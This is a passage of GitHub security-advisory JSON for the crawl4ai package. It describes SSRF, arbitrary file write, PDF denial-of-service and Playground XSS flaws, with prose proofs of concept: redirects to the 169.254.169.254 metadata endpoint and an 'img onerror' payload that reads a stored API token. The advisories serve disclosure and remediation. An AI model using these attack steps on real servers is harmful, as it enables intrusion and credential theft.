`link_preview_config` from incoming `crawler_config` bodies at your proxy. Restrict the container's outbound network access (egress firewall, no route to the metadata service). Enable authentication and limit who can call `\/crawl`.\r\n\r\n### Credit\r\n\r\nIbrahim AlJaafreh ([profile](https:\/\/www.linkedin.com\/in\/ibrahim-aljaafreh-glitch\/)) - Cystack RedTeam ([cystack.ps](https:\/\/cystack.ps)) - reported the seeder and link-preview SSRF with a full source-level chain and a non-weaponized proof of concept, and noted the DNS-rebinding gap on the PDF fetch.\r\n","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-wh5w-hmj3-vgg7","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-09-23T15:02:41Z","published_at":"2026-09-23T15:02:41Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.3","patched_versions":"0.9.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:L\/A:N","score":8.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request Forgery"}],"cwe_ids":["CWE-918"],"credits":[],"credits_detailed":[],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:L\/A:N","score":8.5}},{"ghsa_id":"GHSA-f77g-77vp-r96v","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-f77g-77vp-r96v","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-f77g-77vp-r96v","summary":"Blind SSRF via robots.txt fetch in RobotsParser.can_fetch bypasses the Docker server egress controls","description":"\r\n### Summary\r\n\r\nThe Docker API server routes every attacker-influenced outbound fetch through one egress rule (`egress_broker.resolve_and_pin`: reject any destination that resolves to a non-global IP, re-check each redirect hop, dial the pinned IP so a second DNS lookup cannot rebind). That rule is wired into the Chromium pinning proxy, the PDF downloader, and the job webhook. The robots.txt check was a fourth caller-controlled fetch path and was not covered. Any API client can set `crawler_config.check_robots_txt` and choose the host, making the server issue a request to an internal, private, link-local, or loopback address, and to cloud-metadata endpoints.\r\n\r\n### Details\r\n\r\n`RobotsParser.can_fetch()` in `crawl4ai\/utils.py` builds `{scheme}:\/\/{host}\/robots.txt` from the caller's URL and fetches it on a bare `aiohttp` client: no `resolve_and_pin`, no pinning proxy, no peer-IP validation, `ssl=False`, and redirects followed by default. It is reached from `AsyncWebCrawler.arun()` before the browser is used, whenever `CrawlerRunConfig.check_robots_txt` is true. `check_robots_txt` is listed in `UNTRUSTED_FIELD_ALLOWLIST[\"CrawlerRunConfig\"]` in `crawl4ai\/async_configs.py`, so it is accepted from an untrusted request body.\r\n\r\nTwo ways to reach an internal target: (1) the caller names a public host they control whose `\/robots.txt` answers `302 Location: http:\/\/169.254.169.254\/...`, which the fetch follows, while the up-front entry-point validation only ever saw the public host; (2) DNS rebinding, because this path re-resolves the host instead of dialing an already-pinned IP the way the browser, PDF, and webhook paths do.\r\n\r\n### Impact\r\n\r\nUnauthenticated (or low-privileged, with JWT enabled) blind server-side request forgery from the Docker server. The fetched body is parsed as robots rules and is not returned to the caller. An attacker gains: requests delivered to internal, private, link-local, and cloud-metadata addresses; port and service discovery through the 2-second timeout showing up as crawl latency; a narrow boolean side channel, since an internal 200 that parses as a `Disallow` covering the requested path makes the crawl return `403 Access denied by robots.txt` instead of proceeding; and TLS verification disabled on this path (`ssl=False`). The response body is not disclosed.\r\n\r\nThe library alone is also affected when an application passes an untrusted URL with `check_robots_txt` enabled.\r\n\r\n### Patch\r\n\r\nThe robots.txt fetch is put behind the same destination policy as the other outbound paths: the library exposes a validator hook that the Docker server installs with `egress_broker.resolve_and_pin`, redirects are no longer followed silently but re-validated hop by hop, and TLS verification is on unless `CRAWL4AI_ALLOW_INSECURE_TLS` is set. Fixed in 0.9.4.\r\n\r\n### Workaround\r\n\r\nDo not enable `check_robots_txt`, or strip it from incoming `crawler_config` bodies at your proxy. Restrict the container's outbound network access (egress firewall, no metadata route). Enable authentication.\r\n\r\n### Credit\r\n\r\nReported by arpe1618 ([arpe1618](https:\/\/github.com\/arpe1618)) with a self-contained loopback-only proof of concept and a precise fix proposal.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-f77g-77vp-r96v","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-09-23T15:02:19Z","published_at":"2026-09-23T15:02:19Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.3","patched_versions":"0.9.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N","score":5.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request Forgery"}],"cwe_ids":["CWE-918"],"credits":[{"login":"arpe1618","type":"reporter"}],"credits_detailed":[{"user":{"login":"arpe1618","id":265149744,"node_id":"U_kgDOD83dMA","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/265149744?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/arpe1618","html_url":"https:\/\/github.com\/arpe1618","followers_url":"https:\/\/api.github.com\/users\/arpe1618\/followers","following_url":"https:\/\/api.github.com\/users\/arpe1618\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/arpe1618\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/arpe1618\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/arpe1618\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/arpe1618\/orgs","repos_url":"https:\/\/api.github.com\/users\/arpe1618\/repos","events_url":"https:\/\/api.github.com\/users\/arpe1618\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/arpe1618\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N","score":5.3}},{"ghsa_id":"GHSA-xpp7-j28w-2gvx","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-xpp7-j28w-2gvx","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-xpp7-j28w-2gvx","summary":"Arbitrary file write via unconfined PDFContentScrapingStrategy fields in untrusted config bodies","description":"The Docker API loads request-body configs with Provenance.UNTRUSTED. _filter_untrusted_fields (crawl4ai\/async_configs.py) is meant to drop unsafe fields, but it fails open: when a type has no entry in UNTRUSTED_FIELD_ALLOWLIST, allowlist is None and every non-forbidden field is kept.\r\n\r\nOnly BrowserConfig and CrawlerRunConfig have allowlists. PDFContentScrapingStrategy is in UNTRUSTED_ALLOWED_TYPES (reachable via CrawlerRunConfig.scraping_strategy) but has no allowlist, so its constructor fields save_images_locally, extract_images, and image_save_dir pass through from an untrusted request.\r\n\r\nThe image writer in crawl4ai\/processors\/pdf\/processor.py (_extract_images) then builds final_path = Path(image_save_dir) \/ page_N_img_M.<ext> and writes the PDF's raw image stream with no realpath containment. An attacker who can submit a config body and have the crawler fetch a PDF they host can write attacker-controlled bytes to an attacker-chosen directory.\r\n\r\nThis is the same write class as the download-path fix in GHSA-2jq4-q6vv-4cp3 (CVE-2026-57571); that fix confined the download sink but not this PDF image sink.\r\n\r\nNote: the official Docker image ships pypdf by default (deploy\/docker\/requirements.txt), so no extra install is required to reach the sink.\r\n\r\n---\r\nProof of concept\r\n\r\n1. POST \/crawl (auth on) with url pointing to an attacker-hosted PDF.\r\n2. Config sets scraping_strategy = PDFContentScrapingStrategy with save_images_locally=true, extract_images=true, image_save_dir=<attacker path>.\r\n3. Untrusted filter keeps the fields (fail-open); crawler fetches the PDF (normal public URL, passes SSRF egress).\r\n4. The PDF's image stream is written to <attacker path>\/page_1_img_1.jpg.\r\n\r\nConstraints: runs as non-root (appuser, uid 999); the filename pattern is fixed, only the directory is attacker-chosen; the byte content is fully attacker-controlled.\r\n\r\n---\r\nImpact\r\n\r\nArbitrary write of attacker-controlled bytes to any appuser-writable directory on the server, from an untrusted request config. No demonstrated code execution.\r\n\r\n---\r\nRemediation\r\n\r\n- Make _filter_untrusted_fields fail closed: a type with no explicit allowlist keeps no scalar fields.\r\n- Forbid image_save_dir and save_images_locally on\r\n- Add a realpath containment check in _extract_images, matching the download fix.\r\n- Audit the rest of UNTRUSTED_ALLOWED_TYPES for patctor args.\r\n\r\n---\r\nCredit\r\nZhixi \"Jace\" Sun, independent security researcher","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-xpp7-j28w-2gvx","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-08-31T12:15:50Z","published_at":"2026-08-31T12:15:50Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":">= 0.9.0, <=0.9.2","patched_versions":"0.9.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-22","name":"Improper Limitation of a Pathname to a Restricted Directory"}],"cwe_ids":["CWE-22"],"credits":[{"login":"manus-use","type":"reporter"}],"credits_detailed":[{"user":{"login":"manus-use","id":213290975,"node_id":"U_kgDODLaP3w","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/213290975?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/manus-use","html_url":"https:\/\/github.com\/manus-use","followers_url":"https:\/\/api.github.com\/users\/manus-use\/followers","following_url":"https:\/\/api.github.com\/users\/manus-use\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/manus-use\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/manus-use\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/manus-use\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/manus-use\/orgs","repos_url":"https:\/\/api.github.com\/users\/manus-use\/repos","events_url":"https:\/\/api.github.com\/users\/manus-use\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/manus-use\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-v2rm-hvrj-2x9q","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-v2rm-hvrj-2x9q","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-v2rm-hvrj-2x9q","summary":"Denial of Service in PDFContentScrapingStrategy: unbounded remote PDF size and page count","description":"### Summary\r\nWhen an untrusted client selects `PDFContentScrapingStrategy` on the Docker\r\nAPI, the server downloads and parses a remote PDF with no limit on file size,\r\npage count, or (by default) wall-clock time. A single request pointing at a\r\nlarge or many-page PDF can exhaust disk, CPU, and bandwidth on shared workers.\r\n\r\n### Impact\r\n- **Type:** Uncontrolled resource consumption \/ Denial of Service (availability only).\r\n- **Who is affected:** Multi-tenant or shared Crawl4AI Docker deployments that\r\n  accept crawl requests from untrusted or semi-trusted clients.\r\n- **What an attacker can do:** With one or a few requests, cause unbounded disk\r\n  writes (the downloaded PDF is streamed to a temp file with no cap), unbounded\r\n  CPU during page parsing, and bandwidth\/cost amplification. No data disclosure\r\n  or code execution results from this issue alone.\r\n\r\n### Root cause\r\n`PDFContentScrapingStrategy` is in `UNTRUSTED_ALLOWED_TYPES`, and the\r\nnon-streaming `\/crawl` handler does not force `LXMLWebScrapingStrategy` (the\r\nstreaming handler does), so an untrusted body can select the PDF strategy.\r\n\r\nOn that path there are no resource bounds:\r\n\r\n- `crawl4ai\/processors\/pdf\/__init__.py` `_get_pdf_path()` streams the full\r\n  remote body to a temp file; `content-length` is read only for progress\r\n  logging, never to abort.\r\n- `crawl4ai\/processors\/pdf\/processor.py` iterates every page\r\n  (`enumerate(reader.pages)` \/ `range(total_pages)`) with no page cap.\r\n- `deploy\/docker\/config.yml` ships `limits.wall_clock_s: 0` (no per-crawl\r\n  deadline) by default.\r\n\r\nNote: the existing `BodySizeLimitMiddleware` (`limits.max_body_bytes`, default\r\n10 MiB) only limits the size of the inbound HTTP request body, not the size of\r\nthe remote PDF the server fetches, so it does not mitigate this. In-process\r\nmemory guards reduce the RAM-exhaustion angle but do not bound disk or CPU.\r\n\r\n### Proof of concept\r\nSend `POST \/crawl` with `PDFContentScrapingStrategy` and a URL pointing at a\r\nlarge (or high-page-count) remote PDF. The worker downloads the entire body to\r\ndisk and parses all pages with no cap and, by default, no deadline.\r\n\r\n### Suggested remediation\r\n1. Enforce a `max_pdf_bytes` limit in the downloader; abort and delete the temp\r\n   file when the streamed size exceeds it (do not trust `content-length`).\r\n2. Enforce a `max_pdf_pages` limit in the processor.\r\n3. Ship a non-zero default `limits.wall_clock_s` in the production Docker image.\r\n4. Cap or disable `extract_images` for untrusted callers.\r\n5. Consider gating `PDFContentScrapingStrategy` behind an admin feature flag for\r\n   untrusted API bodies.\r\n\r\n### Credit\r\nReported privately by Nguyen Tran Thanh Lam (c240030).","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-v2rm-hvrj-2x9q","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-08-31T12:15:56Z","published_at":"2026-08-31T12:15:56Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.2","patched_versions":"0.9.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"}],"cwe_ids":["CWE-400"],"credits":[{"login":"c240030","type":"reporter"}],"credits_detailed":[{"user":{"login":"c240030","id":185619948,"node_id":"U_kgDOCxBV7A","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/185619948?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/c240030","html_url":"https:\/\/github.com\/c240030","followers_url":"https:\/\/api.github.com\/users\/c240030\/followers","following_url":"https:\/\/api.github.com\/users\/c240030\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/c240030\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/c240030\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/c240030\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/c240030\/orgs","repos_url":"https:\/\/api.github.com\/users\/c240030\/repos","events_url":"https:\/\/api.github.com\/users\/c240030\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/c240030\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-7g3g-vhm6-79f3","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-7g3g-vhm6-79f3","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-7g3g-vhm6-79f3","summary":"XSS in Docker Playground: crawl results rendered via innerHTML; PDF pipeline emits unescaped HTML","description":"### Summary\r\nThe Docker Playground UI displays crawl results by assigning untrusted text to\r\n`element.innerHTML`, which re-parses it as HTML. Combined with the PDF text\r\npipeline emitting unescaped markup, an attacker-controlled crawl target (e.g. a\r\nmalicious PDF) can inject an event-handler element (such as `<img onerror=...>`)\r\nthat executes JavaScript in the Playground origin when an operator views the\r\nresult. The script can read the API token stored in `sessionStorage` and abuse\r\nthe API as that operator.\r\n\r\n### Impact\r\n- **Type:** DOM-based Cross-Site Scripting (XSS) in the Docker Playground.\r\n- **Who is affected:** Operators who use the Playground UI to view results of\r\n  crawling untrusted or attacker-influenced targets.\r\n- **What an attacker can do:** Execute arbitrary JavaScript in the Playground\r\n  origin, steal the API token from `sessionStorage` (`crawl4ai_token`), and make\r\n  authenticated API calls as the operator.\r\n- **Interaction required:** The operator must view the malicious crawl result in\r\n  the Playground (UI:R).\r\n\r\n### Root cause\r\nTwo independent issues combine:\r\n\r\n**1. Unsafe sink (primary).**\r\n`deploy\/docker\/static\/playground\/index.html`, `forceHighlightElement()`:\r\n\r\n    const text = element.textContent;\r\n    element.innerHTML = text;\r\n\r\nCrawl responses are placed into the element with `.textContent = JSON.stringify(...)`,\r\nwhich is safe, but `forceHighlightElement` then reads that text back and assigns\r\nit to `.innerHTML`, re-parsing it as HTML. Any event-handler markup contained in\r\nthe crawl result executes. This makes the Playground unsafe for displaying any\r\nuntrusted crawl output, not only PDFs.\r\n\r\n**2. Missing output escaping in the PDF pipeline (reliable injection vector).**\r\n`crawl4ai\/processors\/pdf\/utils.py` (paragraph handling):\r\n\r\n    # escaped_para = html.escape(para)   # disabled\r\n    escaped_para = para\r\n\r\nPDF paragraph text is wrapped in `<p>...<\/p>` without escaping, so attacker text\r\nin a PDF survives verbatim into `cleaned_html` and into the JSON response.\r\n\r\nThe API token is stored in `sessionStorage` (`crawl4ai_token`) and sent as a\r\nBearer token via `authFetch`, so script running in the Playground origin can\r\nread and exfiltrate it.\r\n\r\n### Proof of concept\r\n1. Craft a PDF whose paragraph text contains `<img src=x onerror=...>`.\r\n2. Crawl it via the Docker server using `PDFContentScrapingStrategy`.\r\n3. View the result in the Playground while a token is stored.\r\n4. The injected handler executes and can read `sessionStorage['crawl4ai_token']`.\r\n\r\n### Suggested remediation\r\n1. **Playground (primary):** never assign untrusted text to `innerHTML`. Keep\r\n   the response in `textContent` and syntax-highlight without re-parsing as HTML\r\n   (or HTML-escape before insertion).\r\n2. **PDF pipeline:** re-enable `html.escape()` on paragraph text so `< > \" '`\r\n   are emitted as entities in `cleaned_html`.\r\n3. **Defense in depth:** add a Content-Security-Policy to the Playground; prefer\r\n   httpOnly cookie sessions over storing the token in `sessionStorage`.\r\n4. **Tests:** assert that `< > \" '` appear only as HTML entities in PDF\r\n   `cleaned_html`.\r\n\r\n### Credit\r\nReported privately by Nguyen Tran Thanh Lam (c240030).","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-7g3g-vhm6-79f3","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-08-31T12:16:03Z","published_at":"2026-08-31T12:16:03Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.2","patched_versions":"0.9.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation"}],"cwe_ids":["CWE-79"],"credits":[{"login":"c240030","type":"reporter"}],"credits_detailed":[{"user":{"login":"c240030","id":185619948,"node_id":"U_kgDOCxBV7A","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/185619948?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/c240030","html_url":"https:\/\/github.com\/c240030","followers_url":"https:\/\/api.github.com\/users\/c240030\/followers","following_url":"https:\/\/api.github.com\/users\/c240030\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/c240030\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/c240030\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/c240030\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/c240030\/orgs","repos_url":"https:\/\/api.github.com\/users\/c240030\/repos","events_url":"https:\/\/api.github.com\/users\/c240030\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/c240030\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-q5rj-45vw-vp2g","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-q5rj-45vw-vp2g","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-q5rj-45vw-vp2g","summary":"SSRF in PDFContentScrapingStrategy: PDF download follows redirects and bypasses egress SSRF controls","description":"### Summary\r\nThe Docker API server validates the destination of a crawl's *seed* URL, but\r\n`PDFContentScrapingStrategy` re-downloads the target with Python `requests`\r\n(`allow_redirects=True`) on a code path that never goes through the server's\r\negress SSRF controls. An authenticated client can therefore make the server\r\nissue requests to internal, loopback, link-local, or cloud-metadata addresses\r\nand receive the response body back if it parses as a PDF.\r\n\r\n### Impact\r\n- **Type:** Server-Side Request Forgery (SSRF) with response exfiltration.\r\n- **Who is affected:** Deployments of the Crawl4AI Docker\/FastAPI server that\r\n  accept crawl requests from untrusted or semi-trusted clients.\r\n  `PDFContentScrapingStrategy` is in `UNTRUSTED_ALLOWED_TYPES`, so any API\r\n  client can select it via `POST \/crawl`.\r\n- **What an attacker can do:** Reach internal services (RFC1918, `127.0.0.0\/8`,\r\n  `169.254.169.254` cloud metadata) from the server and, when the fetched body\r\n  is a valid PDF, receive its extracted text in the crawl result JSON. On cloud\r\n  hosts this can expose instance credentials and other secrets.\r\n\r\n### Root cause\r\n`crawl4ai\/processors\/pdf\/__init__.py` `_get_pdf_path()`:\r\n\r\n    response = requests.get(url, stream=True, timeout=(20, 60 * 10))\r\n    # allow_redirects defaults to True; the final resolved IP is never checked\r\n\r\nTwo gaps combine:\r\n1. **Redirect following** \u2014 a public seed that passes validation can 302 to an\r\n   internal address, which `requests` follows automatically.\r\n2. **Egress bypass** \u2014 `enforce_egress()` pins only the browser (Chromium)\r\n   through the localhost pinning proxy. The PDF path uses `requests` directly,\r\n   so it is not covered by `resolve_and_pin()` at all. This also means the seed\r\n   is re-resolved by `requests` after the one-shot `validate_url_destination()`\r\n   check, making DNS-rebinding possible even without a redirect.\r\n\r\nReachability on the server:\r\n- `PDFContentScrapingStrategy` \u2208 `UNTRUSTED_ALLOWED_TYPES` (async_configs.py).\r\n- The non-streaming `handle_crawl_request` does not force\r\n  `LXMLWebScrapingStrategy` (the streaming handler does), so the client-selected\r\n  PDF strategy is honored.\r\n\r\n### Proof of concept\r\nA public seed returns `302 Location: http:\/\/169.254.169.254\/...` (or\r\n`http:\/\/127.0.0.1:<port>\/secret.pdf`). The worker follows the redirect,\r\ndownloads the internal body, and returns the extracted text in the response.\r\n\r\n### Suggested remediation\r\nBring the PDF fetch in line with the pattern already used in\r\n`deploy\/docker\/webhook.py`:\r\n1. Disable automatic redirects, or follow them manually with a per-hop\r\n   destination check.\r\n2. Reuse `egress_broker.resolve_and_pin()` \/ `check_redirect()` so every hop\r\n   (initial and post-redirect) is validated against the non-global IP policy\r\n   (loopback, RFC1918, link-local, metadata ranges).\r\n3. Add a regression test: public seed \u2192 302 \u2192 `127.0.0.1` \/ `169.254.169.254`\r\n   must fail closed.\r\n\r\n### Credit\r\nReported privately by Nguyen Tran Thanh Lam (c240030).","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-q5rj-45vw-vp2g","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-08-31T12:16:10Z","published_at":"2026-08-31T12:16:09Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 